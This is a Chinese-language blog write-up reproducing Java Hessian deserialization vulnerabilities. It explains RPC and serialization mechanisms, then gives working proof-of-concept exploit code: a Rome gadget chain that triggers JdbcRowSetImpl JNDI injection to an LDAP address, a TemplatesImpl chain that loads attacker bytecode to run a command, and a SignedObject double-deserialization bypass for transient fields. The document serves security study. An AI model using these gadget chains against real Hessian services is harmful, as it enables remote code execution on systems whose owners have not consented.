Hessian反序列化漏洞复现

什么是RPC

在了解Hessian之前,我们先来了解一下RPC**(Remote Procedure Call Protocol,远程过程调用协议)**。

我们知道,互联网最重要的功能就是能在不同计算机之间高效传递信息。而信息的传递离不开各种网络协议,比如常见的FTP、TCP、UDP、HTTP等。而TCP、UDP、HTTP等协议都是在基于 Socket 概念上通过某类应用场景而扩展出的传输协议。而不同的语言为了更贴近应用,往往会提供一些其他更加易用的应用级协议。

我们所说的RPC**(Remote Procedure Call Protocol,远程过程调用协议)正是这样一种协议。和我们熟知的RMI(Remote Method Invocation,远程方法调用)类似,以上两个协议都能通过网络调用远程服务。但RPC和RMI的不同之处就在于它以标准的二进制**格式来定义请求的信息 ( 请求的对象、方法、参数等 ),这种方式传输信息的优点之一就是跨语言及操作系统。

在面向对象编程范式下,RMI其实就是RPC的一种具体实现

RPC协议的一次远程通信过程如下

  • 客户端发起请求,并按照RPC协议格式填充信息

  • 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输

  • 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理

  • 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

各种反序列化机制

在网络通信过程中,我们想传输的内容肯定不止局限于文本或二进制信息,假如我们想要传递给远端一个特定的对象,那么这时就需要用到序列化和反序列化这种技术了。

在Java中,序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反,能够从字节序列中恢复出一个对象。参考marshalsec.pdf,我们可以将序列化/反序列化机制分大体分为两类

  • 基于Bean属性访问机制

  • 基于Field机制

基于Bean属性访问机制

  • SnakeYAML

  • jYAML

  • YamlBeans

  • Apache Flex BlazeDS

  • Red5 IO AMF

  • Jackson

  • Castor

  • Java XMLDecoder

它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)setter(xxx)访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。

这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。

基于Field机制

基于Field机制的反序列化是通过特殊的native(方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,而不是通过getter、setter方式对属性赋值。

  • Java Serialization

  • Kryo

  • Hessian

  • json-io

  • XStream

Hessian是什么

简单说就是基于对RPC协议实现的一种高性能二进制数据传输协议,可以跨平台,跨语言使用,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。

简单Demo:

Maven项目依赖如下:

1
2
3
4
5
6
7
8
<dependencies>  
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>

</dependencies>

Hessian的序列化大小比java原生序列化还要小~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package chians.Hessian;  

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.*;

/**
* @FileName: Hessian_Test
* @Date: 2026/3/24/01:11
* @Author: Eviden
*/public class Hessian_Test implements Serializable {
public static void PrintSize(ByteArrayOutputStream b){

System.out.println("字节流大小:"+ b.size());
System.out.println(b.toString());
}
public static <T> byte[] serializeByHessian(T o) throws IOException {
ByteArrayOutputStream byt = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(byt);
output.writeObject(o);
PrintSize(byt);
return byt.toByteArray();
}
public static <T> T deserializeByHessian(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static <T> byte[] serializeByOriginal(T o) throws IOException {
ByteArrayOutputStream byt = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(byt);
output.writeObject(o);
PrintSize(byt);
return byt.toByteArray();
}
public static <T> T deserializeByOriginal(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
ObjectInputStream input = new ObjectInputStream(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person();
person.setAge(18);
person.setName("Eviden");

//使用hessian进行反序列化
byte[] s = serializeByHessian(person);
System.out.println((Person) deserializeByHessian(s));

//使用java原生反序列化
byte[] s1 = serializeByOriginal(person);
System.out.println((Person) deserializeByOriginal(s1));
}
}

漏洞点分析

既然是反序列化漏洞,那么先直接看readObject即可,当然hessian的序列化机制也要去看看,后面会考~因为它对序列化的对象有要求!
: 前面不能反序列化一个Object对象,不然不会走到我们对应的漏洞分支,正确的应该是反序列化一个HashMap类型然后去分析

1
2
3
4
5
6
7
8
9
Person person = new Person();  
person.setAge(18);
person.setName("Eviden");
HashMap<Object, Object> hashMap = new HashMap<>(1);
hashMap.put(person, person);

//使用hessian进行反序列化
byte[] s = serializeByHessian(hashMap);
System.out.println((Person) deserializeByHessian(s));

看到网上有的文章上来就是反序列化一个Object类型然后一堆乱分析,结果抄的POC里反序列化却是HashMap,搞不懂何意味,纯误导人…
先一路跟进:

1
2
3
4
readMap:97, MapDeserializer (com.caucho.hessian.io)
2 个隐藏帧
deserializeByHessian:31, Hessian_Test (chians.Hessian)
main:58, Hessian_Test (chians.Hessian)

可以看到这个工厂方法有3个分支,分别对应3种情况说人话就是当我们反序列化一个Map对象时没有默认的反序列化器,则会进入到最后一个分支创建默认的MapDeserializer进而触发readMap方法
跟进到MapDeserializer
显然map.put

  • 对于HashMap会触发key.hashCode()key.equals(k)

  • 对于TreeMap会触发key.compareTo()因此总结就是,对于Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法会产生各种相关利用链打法.
    典型就是Rome链了写出如下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package chians.Hessian;  

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import static chians.Hessian.util.deserializeByHessian;
import static chians.Hessian.util.serializeByHessian;

/**
* @FileName: POC1
* @Date: 2026/3/24/11:22
* @Author: Eviden
*/public class POC1 {
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
public static void main(String[] args)throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:50389/e26cef");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serializeByHessian(hashMap);
System.out.println(s);
System.out.println((HashMap)deserializeByHessian(s));
}
}

通过Rome链触发JdbcRowSetImpl的JNDI,进而完成利用,其中Rome链的细节可以去翻翻之前的blog
调用堆栈:

1
2
3
4
5
6
7
8
9
10
11
toString(String):132, ToStringBean (com.sun.syndication.feed.impl), ToStringBean.java
toString():116, ToStringBean (com.sun.syndication.feed.impl), ToStringBean.java
beanHashCode():193, EqualsBean (com.sun.syndication.feed.impl), EqualsBean.java
hashCode():176, EqualsBean (com.sun.syndication.feed.impl), EqualsBean.java
hash(Object):338, HashMap (java.util), HashMap.java
put(Object, Object):611, HashMap (java.util), HashMap.java
readMap(AbstractHessianInput):114, MapDeserializer (com.caucho.hessian.io), MapDeserializer.java
readMap(AbstractHessianInput, String):577, SerializerFactory (com.caucho.hessian.io), SerializerFactory.java
readObject():1160, HessianInput (com.caucho.hessian.io), HessianInput.java
deserializeByHessian(byte[]):29, util (chians.Hessian), util.java
main(String[]):61, POC1 (chians.Hessian), POC1.java


最终触发JdbcRowSetImpl的无参getter方法

1
2
JdbcRowSetImpl.getDatabaseMetaData()
JdbcRowSetImpl.connect()

即可触发一次远程的JNDI注入!漏洞利用完成

不出网的打法

能追求不出网则追求一下~在Rome链里我们有如下利用链:把漏洞点放在TemplatesImpl的getter,进而触发任意字节码加载RCE.

1
2
3
4
5
6
7
TemplatesImpl.getOutputProperties()  
EqualsBean.beanEquals()
EqualsBean.equals()
AbstractMap.equals()
HashMap.putVal()
HashMap.put()
HashSet.readObject()

缝合一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package chians.Hessian;  

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.util.HashMap;

import static chians.Hessian.POC1.makeMap;
import static chians.Hessian.util.deserializeByHessian;
import static chians.Hessian.util.serializeByHessian;

/**
* @FileName: POC2
* @Date: 2026/3/24/20:15
* @Author: Eviden
*/public class POC2 {
public static void main(String[] args)throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

// 创建恶意类
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass ctClass = classPool.makeClass("cccc");
ctClass.setSuperclass(classPool.get(AbstractTranslet));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();

// 创建TemplatesImpl对象
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
util.setField(templateImpl, "_bytecodes", new byte[][]{bytes});
util.setField(templateImpl, "_name", "test");
util.setField(templateImpl, "_tfactory", null);

ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);

EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serializeByHessian(hashMap);
// System.out.println(s);
System.out.println((HashMap)deserializeByHessian(s));
}
}

运行没反应,并不会触发恶意字节码的加载
debug(一路步过下去bushi)

触发任意getter的时候报空指针异常

1
EXCEPTION: Could not complete class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.toString(): null

最终在_tfactory.getExternalExtensionsMap()抛出空指针异常
原因就是_tfactory为null,那么为啥为null呢?
反序列化还原一个对象时,会检查其属性的值并且也将其复原,因此会有个赋值操作,而前面的空指针则说明赋值异常,
debug一下,来到 com.caucho.hessian.io.UnsafeDeserializer#getFieldMap方法可以看到


isTransientisStatic表明这两种类型的字段都不可以被赋值还原而_tfactory字段刚好是Transient类型,本质就是一个暂存变量,该字段在参与序列化时不会被保存,因而在反序列化赋值的时候会被设置为默认值null

绕过isTransient–SignedObject二次反序列化

可以看看SignedObject的构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public SignedObject(Serializable object, PrivateKey signingKey,  
Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);

// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();

// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}

再看下面的一个getter方法

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()  
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

原理就是将字节流存储到content变量中,并且它的getObject方法中又会对content属性进行原生的反序列化刚好getObject()又是无参getter,因此可以直接结合rome链!
相当于对TemplatesImpl进行一个包装,然后通过原生readObject进行触发.
写出如下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
TemplatesImpl templates = generateTemplateImpl();  

ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);

// 初始化SignedObject类
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);

ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);

HashMap hashMap = makeMap(equalsBean, "reus09");

byte[] s = HessianTest.serialize(hashMap);
System.out.println(s);

System.out.println((HashMap) HessianTest.deserialize(s));

即可绕过限制~

小结

总的来说,Hessian会针对传入的map类型的变量进行反序列化的时候,会执行map.put方法,从而可以作为source触发点,触发其他相关的反序列链子。
并以二次反序列化和JdbcRowSetImpl两个链作为例子进行了演示。